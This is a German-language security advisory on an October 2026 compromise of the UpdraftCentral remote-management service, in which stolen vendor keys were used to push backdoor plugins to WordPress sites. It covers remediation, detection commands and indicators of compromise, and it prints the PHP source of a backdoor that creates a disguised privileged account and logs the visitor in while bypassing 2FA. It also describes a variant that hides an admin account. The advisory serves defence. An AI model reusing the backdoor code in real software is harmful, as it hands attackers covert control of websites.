Zusammenfassung
Stand: 19. Oktober 2026, zuletzt aktualisiert am 19.10.2026 (Stellungnahme des Herstellers). Die Liste der Änderungen steht am Ende des Artikels. Wir ergänzen den Text, wenn es Neuigkeiten gibt.
Aktualisierung 19.10.2026: TeamUpdraft hat einen Sicherheitsvorfall bestätigt. Am Wochenende des 17. und 18. Oktober hatte ein Angreifer unbefugten Zugriff auf teamupdraft.com und hat laut Hersteller wahrscheinlich die Kundendatenbank erbeutet: Namen, E-Mail-Adressen, Rechnungsadressen, Bestellhistorie, Passwort-Hashes, Einstellungen der Zwei-Faktor-Authentifizierung sowie die Verbindungsschlüssel für UpdraftCentral (Cloud), UpdraftVault und UpdraftClone. Die Schlüssel, mit denen der Angreifer seine Befehle signierte, stammen also direkt vom Hersteller. Der Hersteller hat alle Konten abgemeldet, die Schlüssel für UpdraftVault und UpdraftClone ersetzt und bereitet eine Notfallversion von UpdraftPlus vor, die alle UpdraftCentral-Verbindungen automatisch trennt, die vor dem 18.10.2026 um 22:00 BST (23:00 MESZ) angelegt wurden. Selbst gehostete UpdraftCentral-Dashboards sind laut Hersteller nicht betroffen.
Aktualisierung 19.10.2026 (abends): Patchstack hat eine eigene Analyse veröffentlicht, die unsere Ergebnisse bestätigt und erweitert. Patchstack sah 99 verschiedene Namen von Hintertür-Plugins, installiert zwischen dem 18.10. um 15:32 und dem 19.10. um 9:23, sowie eine zweite IP-Adresse des Angreifers, 2a09:bac5:4e21:2e3c::49b:9. Auch weitere betroffene Administratoren haben sich gemeldet. Einer von ihnen fand eine zweite Variante der Hintertür, die einen versteckten Administrator anlegt. Wir beschreiben sie unten und haben das Prüfskript so angepasst, dass es sie erkennt. Wenn Sie das Skript schon früher ausgeführt haben, führen Sie es erneut aus.
| Betroffen | der Dienst UpdraftCentral, dessen Client Bestandteil des Plugins UpdraftPlus ist, kostenlos wie Premium |
| Betroffene Versionen | alle UpdraftPlus-Versionen, die über eine vor dem 18.10.2026 um 23:00 MESZ angelegte Verbindung mit UpdraftCentral Cloud verbunden sind, einschließlich der neuesten 1.26.11 und 2.26.11. Bei verbundenen Websites mit Versionen bis 1.26.4 und 2.26.4 braucht ein Angreifer nicht einmal gültige Schlüssel (CVE-2026-10795). |
| Wie viele Websites | UpdraftPlus hat laut wordpress.org über 4 Millionen aktive Installationen, und der Hersteller bezeichnet es als das weltweit beliebteste Plugin für geplante Backups. Beim Juni-Fehler im selben Kanal schätzte der Hersteller, dass weniger als 10 % der Nutzer einen UpdraftCentral- oder Migrator-Schlüssel haben, also bis zu rund 400.000 Websites. Wie viele davon der Angreifer getroffen hat, wissen wir nicht. |
| Fix | der Hersteller bereitet eine Notfallversion von UpdraftPlus vor, die alle vor dem 18.10.2026 um 23:00 MESZ angelegten UpdraftCentral-Verbindungen automatisch trennt. Bis dahin die Schlüssel von Hand löschen. |
| Übergangslösung | die UpdraftCentral-Verbindung entfernen, die Website mit unserem Skript prüfen, das Passwort für teamupdraft.com ändern und optional UpdraftCentral-Befehle mit einem kleinen mu-Plugin sperren (siehe unten). UpdraftPlus muss nicht deinstalliert werden, Backups funktionieren weiter. |
In der Nacht zum 19. Oktober 2026 schickte ein Angreifer von der IP-Adresse 43.250.53.42 über den Dienst UpdraftCentral den Befehl plugin.upload_plugin an drei unserer WordPress-Websites. UpdraftCentral ist ein Dienst zur Fernverwaltung von Websites von TeamUpdraft, und sein Client steckt in jeder Kopie des Plugins UpdraftPlus. Auf zwei unserer Websites ging der Befehl durch, und WordPress installierte und aktivierte ein unbekanntes Plugin. Auf der dritten scheiterte er an den Berechtigungen.
Der Fehler lag nicht bei uns. Alle drei Websites liefen mit dem aktuellen WordPress 7.1.3 und UpdraftPlus 2.26.11, das gegen die Juni-Schwachstelle CVE-2026-10795 gepatcht ist. Der Angreifer ist nicht in unsere Server eingedrungen und hat keine Schwäche in unserer Konfiguration ausgenutzt. Er kam über den Fernverwaltungskanal von UpdraftCentral und signierte seine Befehle mit gültigen privaten Dashboard-Schlüsseln. Diese erzeugt und verwahrt der Dienst UpdraftCentral Cloud, auf unseren Servern waren sie nie. Wer sie besitzt, kann auf jeder verbundenen Website ohne Wissen des Betreibers beliebigen Code installieren und ausführen. Deshalb halten wir das für ein kritisches Sicherheitsproblem des Dienstes UpdraftCentral.
Wer gefährdet ist: jede Website mit UpdraftPlus, kostenlos oder Premium, die mit UpdraftCentral verbunden ist, also einen UpdraftCentral-Schlüssel hat. Jede der über 4 Millionen UpdraftPlus-Installationen enthält den UpdraftCentral-Client. Websites, die nicht mit UpdraftCentral verbunden sind, gefährdet dieser Angriff nicht, weil sie ohne Schlüssel keine UpdraftCentral-Befehle annehmen. Unsere Websites waren mit UpdraftCentral Cloud verbunden, dem von TeamUpdraft betriebenen Dashboard. Laut Hersteller sind selbst gehostete UpdraftCentral-Dashboards nicht betroffen. Abgeflossen sind aber auch die Schlüssel für UpdraftVault und UpdraftClone, die der Hersteller inzwischen ersetzt hat.
Es handelt sich nicht um die Schwachstelle CVE-2026-10795, über die Wordfence im Juni berichtete: Gegen sie waren unsere Websites gepatcht, und Versuche, sie auszunutzen, schlugen dort fehl.
Das Plugin ist eine Hintertür. Über einen geheimen Link sollte es ein Konto mit getarnten Administratorrechten anlegen und den Angreifer direkt darin anmelden. Der Autor hat jedoch einen Fehler in den Code eingebaut, sodass die Hintertür nie funktionierte. Stattdessen brachte sie jede Anfrage an die Website zum Absturz, die nicht aus dem Cache kam, und WordPress schickte uns darüber eine E-Mail. So fanden wir sie innerhalb von Minuten bis Stunden.
Wir haben den Vorfall am 19. Oktober an TeamUpdraft gemeldet und um eine Erklärung gebeten, wie die Schlüssel zum Angreifer gelangt sind.
Wenn Ihre Website mit UpdraftCentral verbunden ist, betrachten Sie sie als potenziell kompromittiert, bis Sie sie geprüft haben. Entfernen Sie die Verbindung sofort und prüfen Sie die Website wie unten beschrieben. Stand 19. Oktober 2026 haben wir keine öffentliche Erwähnung dieser Hintertür oder eines ähnlichen Angriffs nach dem Juni-Fix gefunden.
Was Sie jetzt tun sollten
1. Entfernen Sie die UpdraftCentral-Verbindung
Öffnen Sie im WordPress-Admin Einstellungen → UpdraftPlus Backups → Reiter „Advanced Tools“ → „UpdraftCentral“. Klicken Sie auf „Manage existing keys (N)…“ und bei jedem Schlüssel auf „Delete…“. Steht dort kein Schlüssel, ist die Website nicht verbunden.
Mit Zugriff auf die Kommandozeile erledigt das derselbe Befehl im WordPress-Stammverzeichnis:
wp option delete updraft_central_localkeysEntfernen Sie die Website danach auch im UpdraftCentral-Dashboard (teamupdraft.com → My account → UpdraftCentral → ••• bei der Website → Remove site). Das Entfernen im Dashboard allein reicht nicht. Der Angreifer hat den privaten Schlüssel des Dashboards, entscheidend ist also das Löschen des Schlüssels auf der Website.
Laut Hersteller können Sie die Website wieder verbinden, nachdem Sie den Schlüssel gelöscht, die Website geprüft und die Administrator-Passwörter geändert haben. Ändern Sie vorher Ihr Passwort für teamupdraft.com (Adresse selbst in den Browser eingeben, keinem Link aus einer E-Mail folgen), ändern Sie dasselbe Passwort überall, wo Sie es verwendet haben, und richten Sie die Zwei-Faktor-Authentifizierung neu ein. Falls Sie unser Sperr-mu-Plugin eingesetzt haben, entfernen Sie es vor dem erneuten Verbinden. Wer UpdraftVault nutzt, muss seine Websites mit den neuen Zugangsdaten neu verbinden.
2. Prüfen Sie, ob die Hintertür auf Ihrer Website ist
Ohne Kommandozeile:
- Klicken Sie auf demselben UpdraftCentral-Bildschirm auf „View recent UpdraftCentral log events…“. Suchen Sie nach den Zeilen „Command received: plugin.upload_plugin“ und „probe.central.updraftplus.com“.
- Suchen Sie in der Plugin-Liste nach einem Plugin mit der Beschreibung „Small maintenance toolkit: keeps option storage tidy.“ und einem Namen aus zwei Wörtern und drei Zeichen, zum Beispiel „Load Stack 35C“.
- Ein Plugin mit der Beschreibung „Improves cron tasks efficiency for content sites with minimal overhead.“ ist die zweite Variante. Ihr Konto erscheint nicht in der Benutzerliste, prüfen Sie die Website daher auch mit dem Skript.
- Suchen Sie in der Benutzerliste nach einem Konto mit dem Namen „Site Tools“ oder einer E-Mail-Adresse bei
@example.org.
Ist die Hintertür auf der Website, funktioniert der Admin womöglich gar nicht, weil das Plugin jede Anfrage abstürzen lässt. Verwenden Sie dann die Kommandozeile.
Mit Kommandozeile speichern Sie unser Prüfskript vom Ende dieses Artikels als check-updraftcentral.php im WordPress-Stammverzeichnis und führen aus:
wp eval-file check-updraftcentral.php --skip-plugins --skip-themesDas Skript liest nur und ändert nichts. Der Schalter --skip-plugins ist wichtig, weil eine installierte Hintertür sonst auch WP-CLI abstürzen lässt. Zeilen mit [ALERT] sind Spuren des Angriffs, [WARN] heißt prüfen, [OK] ist ein sauberes Ergebnis. Ein protokollierter Befehl heißt noch nicht, dass das Plugin installiert wurde (auf einer unserer Websites wurde es das nicht), deshalb prüft das Skript auch Dateien, Datenbankoptionen und Konten. Meldet es etwas mit [ALERT], lesen Sie weiter bei „Was tun, wenn Sie sie finden“.
UpdraftPlus speichert im UpdraftCentral-Log nur die letzten 50 Ereignisse. Auf einer Website, die Scanner häufig besuchen, kann der Eintrag über den Angriff aus dem Log fallen, und das Skript meldet dann beim Log [OK]. Wenn Sie Zugriff auf die Logs des Webservers haben, durchsuchen Sie auch diese (Pfad an Ihren Server anpassen, bei nginx etwa /var/log/nginx/):
grep 'class-udrpc.php"' /var/log/apache2/*access*Der Befehl findet UpdraftCentral-Anfragen ohne Bibliotheksversion im User-Agent-Header, wie sie der Angreifer geschickt hat. Das echte Dashboard sendet class-udrpc.php/2.0; https://teamupdraft.com, der Befehl erfasst es also nicht.
3. Optional: Sperren Sie UpdraftCentral-Befehle vollständig
Wenn Sie sicher sein wollen, dass die Website keinen UpdraftCentral-Befehl ausführt, selbst wenn noch ein Schlüssel darauf liegt, speichern Sie im Verzeichnis wp-content/mu-plugins/ eine Datei block-updraftcentral.php mit diesem Inhalt:
<?php
// Nethemba: block all UpdraftCentral (UDRPC) commands until the vendor resolves the October 2026 incident.
if ( isset( $_POST['udrpc_message'] ) ) {
http_response_code( 403 );
exit;
}WordPress lädt Dateien in mu-plugins vor den regulären Plugins, die Anfrage endet also, bevor UpdraftPlus sie verarbeitet. Das sperrt auch die Migration von Websites über UpdraftPlus Migrator, der denselben Kanal nutzt. Löschen Sie die Datei, sobald der Hersteller das Problem erklärt und behoben hat.
Wie wir darauf gestoßen sind
Um 5:38 erhielten wir eine automatische WordPress-E-Mail: „WordPress caught an error with one of your plugins, Load Stack 35C.“ Ein Plugin dieses Namens hatten wir nie installiert. Die Fehlermeldung lautete Uncaught Error: Undefined constant LoadStack35c::FIELD, und seit 4:14 beantwortete unsere Website jede Anfrage mit Fehler 500.
Alle Dateien im Verzeichnis wp-content/plugins/load-stack-35c/ hatten dieselbe Änderungszeit, 4:14:30. Eine Sekunde später änderte sich das Verzeichnis wp-content/upgrade/, das WordPress zum Entpacken installierter Plugins nutzt. Das Plugin kam also über den regulären WordPress-Installer, nicht als auf die Platte gelegte Datei. Genau in dieser Sekunde steht im Access-Log eine einzige Anfrage:
43.250.53.42 - - [19/Oct/2026:04:14:30 +0200] "POST / HTTP/1.1" 200 8454 "-" "WordPress/6.4; class-udrpc.php"class-udrpc.php ist die Bibliothek, über die UpdraftPlus Befehle von UpdraftCentral empfängt. Ihr eigenes Log (die Datenbankoption updraftcentral_client_log) bestätigte es: Command received: plugin.upload_plugin.
Zeitablauf
Wir bezeichnen die Websites als A, B und C. Alle Zeiten in MESZ. Alle Anfragen kamen von 43.250.53.42 (Hoster RedSwitches) mit dem User-Agent-Header WordPress/6.4; class-udrpc.php.
| Website | Sondierung | Plugin-Installation | Ergebnis |
|---|---|---|---|
| Website C | 19.10. 0:41:32 | 6:05:31 | gescheitert, der Schlüssel gehörte einem Benutzer ohne Recht, Plugins zu installieren |
| Website A | 2:14:05 | 4:14:30 | Hintertür „Load Stack 35C“ aktiv, Website bis 6:13 nicht erreichbar |
| Website B | 2:39:44 | 6:53:49 | Hintertür „Text Gantry Eb0“ aktiv, um 6:56 entfernt |
Die Sondierung ist eine Nachricht an einen nicht existierenden Schlüssel, probe.central.updraftplus.com. Die Website antwortet, dass sie die Nachricht nicht versteht, und verrät damit, dass sie UpdraftCentral-Befehle annimmt. Den nächsten Befehl schickte der Angreifer bereits an den echten Schlüssel 0.central.updraftplus.com. Auf allen drei Websites lief der Angriff gleich ab, vom selben Angreifer, im Abstand weniger Stunden.
Wie der Angriff ablief
Beim Verbinden mit UpdraftCentral erzeugt die Website ein RSA-Schlüsselpaar und schickt den öffentlichen Schlüssel an den Dienst UpdraftCentral Cloud. Der Dienst hat ein eigenes Schlüsselpaar und schickt der Website nur seinen öffentlichen Schlüssel. Der private Schlüssel des Dashboards bleibt beim Dienst. Jeder Befehl muss für den Schlüssel der Website verschlüsselt und mit dem privaten Schlüssel des Dashboards signiert sein. Die Website führt ihn dann mit den Rechten des Benutzers aus, der den Schlüssel in WordPress angelegt hat.
Der Befehl plugin.upload_plugin bestand auf zwei Websites diese gesamte Prüfung. Website A haben wir im Detail untersucht und folgende Erklärungen ausgeschlossen:
- Die bekannte Schwachstelle CVE-2026-10795. Sie betrifft UpdraftPlus bis 1.26.4 (Premium bis 2.26.4). Unsere Websites liefen mit 2.26.11. Ausnutzungsversuche sehen wir in den Logs der Websites B und C seit Juni, von Dutzenden IP-Adressen, und alle endeten mit „Could not decrypt incoming message“.
- Ein verändertes Plugin. Die Dateien
class-udrpc2.php,central/bootstrap.php,central/listener.phpundcentral/host.phpsind Byte für Byte identisch mit der offiziellen Version 1.26.11 von wordpress.org. - Das ältere unsignierte Nachrichtenformat. Der Code lehnt es für UpdraftCentral-Schlüssel ab, und der Eintrag „Command received“ entsteht erst nach dieser Prüfung.
- Ein untergeschobener Dashboard-Schlüssel. Die Schlüssel-Fingerabdrücke sind in den täglichen Backups vom 15. bis 18. Oktober und in der Live-Datenbank gleich, und in den Access-Logs hat niemand die Funktion zum Schlüsseltausch aufgerufen.
- Schwache Kryptografie. Website- und Dashboard-Schlüssel sind RSA mit 2048 Bit und Exponent 65537, und UpdraftPlus enthält phpseclib 2.0.55, in dem der bekannte Fehler bei der Signaturprüfung behoben ist.
- Ein kompromittierter wp-admin. Es sind keine unbekannten Administratoren hinzugekommen, die Prüfsummen von Kern und Plugins stimmen, und die Logs zeigen keinen Plugin-Upload über den Admin.
Der Angreifer besaß also die privaten Dashboard-Schlüssel aller drei Verbindungen gleichzeitig. Auf unseren Servern waren diese Schlüssel nie, sie konnten von dort also nicht abfließen. Die Befehle kamen auch nicht von einem Server von TeamUpdraft. Das echte Dashboard schickte im März und April 2026 Befehle an Website B mit diesem User-Agent-Header:
WordPress/6.8.5; class-udrpc.php/2.0; https://teamupdraft.comDer Angreifer schickte WordPress/6.4; class-udrpc.php, ohne Bibliotheksversion und ohne URL, von seinem eigenen Server. Die Schlüssel sind also aus der Umgebung von UpdraftCentral Cloud abgeflossen, und der Angreifer hat sie außerhalb davon verwendet.
TeamUpdraft bestätigte am 19. Oktober, dass ein Angreifer am Wochenende des 17. und 18. Oktober Zugriff auf teamupdraft.com und wahrscheinlich auch auf die Kundendatenbank einschließlich der UpdraftCentral-Schlüssel hatte. Die Schlüssel sind also aus der Infrastruktur des Herstellers abgeflossen. Das passt zum Zeitablauf: Die Schlüssel für die Websites B und C existierten seit November 2025, und der Angreifer verwendete sie erst in der Nacht vom 18. auf den 19. Oktober, also direkt nach dem Einbruch. Wie der Angreifer in teamupdraft.com eingedrungen ist, hat der Hersteller nicht mitgeteilt.
Auf Website C scheiterte der Angriff durch Zufall. Den Schlüssel hatte dort im November 2025 ein Benutzer angelegt, der kein Administrator mehr ist. Vor der Installation prüft UpdraftCentral, ob der Eigentümer des Schlüssels die Rechte install_plugins und activate_plugins hat. Er hatte keines davon.
Warum das ein kritisches UpdraftCentral-Problem ist
Der UpdraftCentral-Client ist Teil jeder Kopie von UpdraftPlus, kostenlos wie Premium. Er wird aktiv, sobald der Betreiber die Website mit dem Dashboard verbindet. Ab dann führt die Website jeden mit dem Dashboard-Schlüssel signierten Befehl mit den Rechten des Administrators aus, der die Verbindung angelegt hat, einschließlich Upload und Aktivierung beliebiger Plugins. Der Betreiber bestätigt den Befehl nicht, und in unserem Fall hat uns nichts darauf hingewiesen. Die Schlüssel auf der Website haben kein Ablaufdatum: Die vom November 2025 funktionierten auch im Oktober 2026.
Die Sicherheit aller verbundenen Websites hängt damit an einer einzigen Annahme: dass die privaten Dashboard-Schlüssel nicht abfließen. Sie sind abgeflossen, und der Angreifer hat von einem Ort aus innerhalb weniger Stunden zwei Websites übernommen und es bei einer dritten versucht. UpdraftPlus hat über 4 Millionen aktive Installationen. Unter den Backup-Plugins auf wordpress.org hat nur All-in-One WP Migration (5+ Millionen) mehr Installationen, und das ist vor allem ein Migrationswerkzeug. Nur ein Teil der UpdraftPlus-Nutzer verwendet UpdraftCentral, aber auch ein kleiner Anteil von 4 Millionen sind viele Websites.
Derselbe Kanal hat schon einmal versagt. Im Juni 2026 behob der Hersteller die Schwachstelle CVE-2026-10795 (CVSS 8.1), über die ein Angreifer ohne Anmeldung UpdraftCentral-Befehle fälschen und ein schädliches Plugin installieren und aktivieren konnte. Ausnutzungsversuche fangen wir in unseren Logs bis heute ab.
Was die Hintertür genau tut
Das Plugin hat fünf Dateien, Logik enthält aber nur die Hauptdatei. Hier der relevante Teil der Probe von Website A. Token und Passwort haben wir gekürzt:
define( 'LOADSTACK35C_TOKEN', 'j0j8nxxH…' ); // 32 Zeichen
define( 'LOADSTACK35C_FIELD', '_9f5696' );
define( 'LOADSTACK35C_SVC_LOGIN', 'data-ops43' );
define( 'LOADSTACK35C_SVC_PASS', 'L7sfkZMw…' ); // 22 Zeichen
final class LoadStack35c {
private function __construct() {
add_action( 'init', array( $this, 'handle_sync' ), 1 );
}
public function handle_sync() {
if ( isset( $_GET[ self::FIELD ] ) && hash_equals( self::TOKEN, (string) $_GET[ self::FIELD ] ) ) {
$user = get_user_by( 'login', self::SVC_LOGIN );
if ( ! $user ) {
$uid = wp_insert_user( array(
'user_login' => self::SVC_LOGIN,
'user_pass' => self::SVC_PASS,
'user_email' => self::SVC_LOGIN . '@example.org',
'display_name' => 'Site Tools',
'role' => 'editor',
) );
if ( is_wp_error( $uid ) ) return;
$u = new WP_User( $uid );
$u->add_cap( 'manage_options' );
$u->add_cap( 'install_plugins' );
$user = get_user_by( 'id', $uid );
}
wp_set_current_user( $user->ID, $user->user_login );
wp_set_auth_cookie( $user->ID, true, is_ssl() );
wp_safe_redirect( admin_url( 'index.php' ) );
exit;
}
}
}
register_activation_hook( __FILE__, function () {
if ( ! get_option( 'load_stack_35c_sync_token' ) ) {
update_option( 'load_stack_35c_sync_token', 'j0j8nxxH…', false );
}
} );
LoadStack35c::instance();So würde es funktionieren, wenn es keinen Fehler enthielte:
- Bei jeder Anfrage an die Website hängt es sich mit Priorität 1 an die Aktion
init, also früher als die meisten anderen Plugins. - Es prüft, ob die URL den Parameter
?_9f5696=enthält, und vergleicht dessen Wert mit einem 32-stelligen Token. Es vergleicht mithash_equals, das unabhängig von einer Übereinstimmung gleich lange dauert, sodass sich das Token nicht über Antwortzeiten erraten lässt. Ohne das richtige Token passiert nichts, und die Website verhält sich normal. - Mit dem richtigen Token legt es den Benutzer
data-ops43an, mit einem im Plugin hinterlegten Passwort, der E-Maildata-ops43@example.orgund dem Anzeigenamen „Site Tools“. - Es gibt ihm die Rolle Editor und dazu zwei einzelne Berechtigungen:
manage_optionsundinstall_plugins. - Es meldet den Besucher als diesen Benutzer über
wp_set_auth_cookiemit „Angemeldet bleiben“ an, also mit einem 14 Tage gültigen Cookie. Das Anmeldeformular wird dabei komplett umgangen, deshalb greifen weder Zwei-Faktor-Authentifizierung noch Begrenzung der Anmeldeversuche noch der Anmeldeschutz von Wordfence. - Es leitet ihn in den Admin weiter.
Die Rolle Editor mit zwei zusätzlichen Berechtigungen ist Absicht. In der Benutzerliste erscheint das Konto als Editor, nicht als Administrator, und fällt bei einer üblichen Durchsicht der Admins nicht auf. Praktisch hat es aber die volle Kontrolle über die Website:
install_pluginserlaubt den Upload beliebiger Plugins. Deren PHP-Dateien lassen sich auch ohne Aktivierung direkt per URL aufrufen, also beliebiger Code auf dem Server.manage_optionsöffnet alle Einstellungen. Registrierung einschalten und die Standardrolle auf Administrator setzen genügt, und der Angreifer legt sich einen vollwertigen Admin an.- Ein Editor hat bei einer normalen WordPress-Installation auch
unfiltered_htmlund kann damit JavaScript in Beiträge einfügen, das im Browser jedes Administrators läuft.
Die Hintertür hat noch eine zweite Ebene. Das angelegte Konto mit bekanntem Passwort bleibt in WordPress auch nach dem Entfernen des Plugins bestehen, und der Angreifer kann sich damit über das normale Anmeldeformular einloggen, sofern für dieses Konto keine Zwei-Faktor-Authentifizierung aktiv ist.
Der Fehler, der uns gerettet hat
Die Konstanten sind mit define() als globale Konstanten definiert (LOADSTACK35C_FIELD), der Code liest sie aber als Klassenkonstanten (self::FIELD). Die Klasse hat keine Konstanten. PHP 8 wirft deshalb beim ersten Auswerten von self::FIELD den Fehler Error: Undefined constant LoadStack35c::FIELD. Das passiert noch vor der Token-Prüfung, also bei jeder Anfrage: beim normalen Besuch, im Admin, beim Login, in der REST-API, bei Cron und in WP-CLI. Die Website fällt mit Fehler 500 aus und liefert nur Seiten aus dem Cache.
Die Installationsanfrage selbst lief erfolgreich durch. UpdraftCentral verarbeitet Befehle erst in der Aktion wp_loaded, die nach init kommt, in dieser Anfrage lief der fehlerhafte Code also nicht. Der Angreifer bekam eine Erfolgsbestätigung und erfuhr aus der Antwort nichts von dem Fehler. Erst die folgenden Anfragen stürzten ab.
Der Angreifer muss nur ein paar Zeichen korrigieren, und die nächste Welle kann funktionieren. Wenn Sie ein ähnliches „kaputtes“ Plugin finden, reparieren Sie es nicht. Eine Reparatur würde die Hintertür einschalten. Entfernen Sie es.
Weitere Details
- Das Plugin gibt sich als gewöhnliche Erweiterung: vollständiger Header, GPL-Lizenz,
Text Domain, die Beschreibung „Small maintenance toolkit: keeps option storage tidy.“ und ein erfundener Herausgeber („PixelBinder“, „Harbor Stack Labs“). - Die Dateien
assets/public.css,assets/public.jsundlanguages/readme.txtenthalten nur einen Kommentar. Das Plugin nutzt sie nirgends, sie sollen das Verzeichnis wie ein echtes Plugin aussehen lassen. uninstall.phplöscht beim Deinstallieren über den Admin die Optionen<slug>_sync_tokenund<slug>_setup_stampund damit die eigenen Spuren. Die zweite Option legt der Code nirgends an, sie ist ein Überbleibsel der Vorlage.- Bei der Aktivierung speichert es das Token in der Option
<slug>_sync_tokenohne Autoload. Der Code liest sie nirgends. - Beide Proben stammen aus demselben Generator. Ersetzt man Namen, Tokens, Benutzernamen und Versionen durch Platzhalter, sind alle Dateien Byte für Byte identisch. Der Name folgt dem Muster
wort-wort-3 Hex-Zeichen, der Parameter ist_plus 6 Hex-Zeichen, der Benutzerwort-wortplus zwei Ziffern. Das Token hat 32 Zeichen, das Passwort 22 Zeichen (Buchstaben, Ziffern, Unterstrich).
Indikatoren einer Kompromittierung
| Website A | Website B | |
|---|---|---|
| Plugin-Verzeichnis | load-stack-35c | text-gantry-eb0 |
| Name / Autor / Version | Load Stack 35C / PixelBinder / 1.2.6 | Text Gantry Eb0 / Harbor Stack Labs / 3.9.5 |
| URL-Parameter | _9f5696 | _3e9caa |
| Benutzer | data-ops43 | media-staff96 |
| Datenbankoption | load_stack_35c_sync_token | text_gantry_eb0_sync_token |
| SHA-256 der Hauptdatei | 3c3355f7692d4951e5655683783795579467c9bf1ae2152e13b8c80e9021209f | bb40f9a87cea678aa50e5286dd91c0903d6a7fc1b12391472187a0919b4d0801 |
SHA-256 von uninstall.php | 4186ae2aa0472a4e7929b21bb87f9b61866cb3790f69f4b6c9813e196955d5f0 | 4943fc21efa4b81516130f92bf4efe3b832e1bb69e499d2e42587233a0a005e9 |
Weitere Proben der ersten Variante haben uns andere Betroffene geschickt, weitere Namen nennt Patchstack:
hero-frame-2c5, Autor „CopperForge WP“, Benutzer mit E-Mailrender-build21@example.org, SHA-256 der Hauptdateia9b625496a8ec82862ded01900f720c28f111e624176df7e25be7331f22e4cc9,uninstall.php325722876a5f8e184b88cf415900ab52c9103553bc4be502399a2272550f2111card-binder-104, Version 2.6.7, Benutzerrender.desk87- laut Patchstack zum Beispiel „Site Health Cache“, „Asset Forge 2“, „Content Helper“ und „Wp Forge“, insgesamt 99 Namen
Gemeinsame Merkmale:
- IP-Adressen
43.250.53.42und2a09:bac5:4e21:2e3c::49b:9, User-Agent genauWordPress/6.4; class-udrpc.php, AnfragePOST / - im UpdraftCentral-Log die Sondierung
probe.central.updraftplus.comund einige Stunden späterCommand received: plugin.upload_plugin - die Plugin-Beschreibung „Small maintenance toolkit: keeps option storage tidy.“
- ein Benutzer mit E-Mail bei
@example.orgund Anzeigename „Site Tools“, mit der Rolle Editor und den Berechtigungenmanage_optionsundinstall_plugins - der fatale Fehler
Undefined constant <Klasse>::FIELDund eine WordPress-E-Mail über einen Fehler in einem Plugin, das Sie nicht kennen
Die zweite Variante: ein versteckter Administrator
Diese Variante haben wir nicht selbst analysiert. Beschreibung und Indikatoren stammen von einem Administrator von rund 145 Websites, von denen drei getroffen wurden. Eine erhielt die oben beschriebene Variante, die beiden anderen ein anderes Plugin. Patchstacks Analyse führt diese Variante bisher nicht.
- Namen: „Src Lab“ (
src-lab, Autor „WPBridge“, Version 3.0.0) und „Render Helper 232b“ (render-helper-232b, Version 3.7.9). - Beschreibung: „Improves cron tasks efficiency for content sites with minimal overhead.“ Zur Tarnung fügt das Plugin tatsächlich einen täglichen Cron hinzu, der abgelaufene Transients löscht, sowie einen jQuery-Filter für AMP-Seiten.
- Auslöser: ein Parameter, dessen Name aus 12 Hex-Zeichen besteht, und ein 32-stelliges Token, zum Beispiel
?303541c9dfd0=…&m=setup. Der Modusm=setuplegt einen Administrator an (zum Beispielcmseditor170@example.comoderweb_mgr684@example.com), der Modusm=svcmeldet den Besucher in diesem Konto an. Ohnemmeldet es den Besucher als ersten vorhandenen Administrator der Website an. - Die ID des angelegten Kontos speichert es in der Option
<slug>_uid, zum Beispielsrc_lab_uid. - Es versteckt das Konto: ein
pre_user_query-Hook entfernt es aus der Benutzerliste, einpre_count_users-Filter senkt die Zahl der Administratoren um eins. Im Admin sehen Sie es also nicht. - Es hat keine
uninstall.php. Bei der Deaktivierung löscht es nur die Option<slug>_installed. - SHA-256 von
src-lab.php:59231b0e5004672b3058b47b4b4ff2b1fa89f1961bedf1741ba285e8adbe4928 - Die Zustellung ist dieselbe wie bei der ersten Variante, Sondierung und danach
plugin.upload_plugin, von der IP2a09:bac5:4e21:2e3c::49b:9(src-lab 18.10. 23:39 UTC, render-helper-232b 19.10. 0:03 UTC).
Der Administrator berichtet nicht von demselben Fehler wie bei der ersten Variante, gehen Sie also davon aus, dass diese funktioniert. Auf seinen Websites hat der Angreifer sie nicht benutzt: keine _uid-Option, kein Konto und keine fremde Sitzung.
So finden Sie sie: Durchsuchen Sie die Plugin-Dateien nach „Improves cron tasks efficiency“ oder „keep service accounts out of the main user list“ und prüfen Sie die Benutzer direkt in der Tabelle wp_users, nicht im Admin. Version 2 unseres Prüfskripts erledigt beides. Suchen Sie im Access-Log nach Anfragen mit einem Parameter, dessen Name aus 12 Hex-Zeichen besteht:
grep -E '\?[0-9a-f]{12}=[A-Za-z0-9_-]{32}' /var/log/apache2/*access*Was tun, wenn Sie sie finden
- Falls noch nicht geschehen, entfernen Sie die UpdraftCentral-Verbindung wie unter „Was Sie jetzt tun sollten“ beschrieben. Sonst kann der Angreifer eine reparierte Version der Hintertür schicken.
- Deaktivieren Sie das Plugin und verschieben Sie es aus dem Web-Verzeichnis. Wenn Sie es als Beweis behalten wollen, löschen Sie es nicht über den Admin, denn
uninstall.phplöscht seine Optionen. - Löschen Sie die Option
<slug>_sync_token. - Prüfen Sie die Benutzer mit dem Prüfskript unten. Hat die Hintertür funktioniert, existiert also ihr Konto oder zeigt das Access-Log eine Anfrage mit ihrem Parameter, betrachten Sie die Website als vollständig kompromittiert. Der Angreifer könnte weitere Plugins oder eine Webshell hochgeladen und Dateien oder die Datenbank verändert haben. Stellen Sie die Website aus einem Backup von vor dem 17. Oktober wieder her, vergleichen Sie die Dateien mit einer sauberen Installation und gehen Sie alle Benutzer mit zusätzlichen Berechtigungen durch.
- Ändern Sie die Administrator-Passwörter und das Passwort des UpdraftCentral-Cloud-Kontos, beenden Sie alle angemeldeten Sitzungen und aktivieren Sie Zwei-Faktor-Authentifizierung.
- Überlegen Sie, ob Sie die Fernverwaltung überhaupt brauchen. Wenn ja, legen Sie den Schlüssel unter einem Konto ohne das Recht an, Plugins zu installieren, sofern Sie das aus der Ferne nicht benötigen. Auf Website C hat genau dieser Zufall den Angriff gestoppt.
Prüfskript
Das Skript prüft fünf Dinge: ob die Website mit UpdraftCentral verbunden ist, was die Website über UpdraftCentral empfangen hat, ob die Verzeichnisse plugins und mu-plugins Dateien der Hintertür enthalten, ob ihre Optionen in der Datenbank stehen und ob ihr Konto existiert oder ein anderer Nicht-Administrator die Berechtigung manage_options oder install_plugins hat. Version 2 erkennt auch die zweite Variante: Sie sucht ihre Dateien und die Option _uid, liest die Benutzer direkt aus der Datenbank, sodass das Verstecken nicht greift, und meldet Administratoren, die seit dem 17. Oktober angelegt wurden.
Auf Website A gibt es nach dem Entfernen der Hintertür aus:
[OK] No active UpdraftCentral connection.
[WARN] 2026-10-19 00:14 UTC 43.250.53.42 probe for UpdraftCentral (UA: WordPress/6.4; class-udrpc.php).
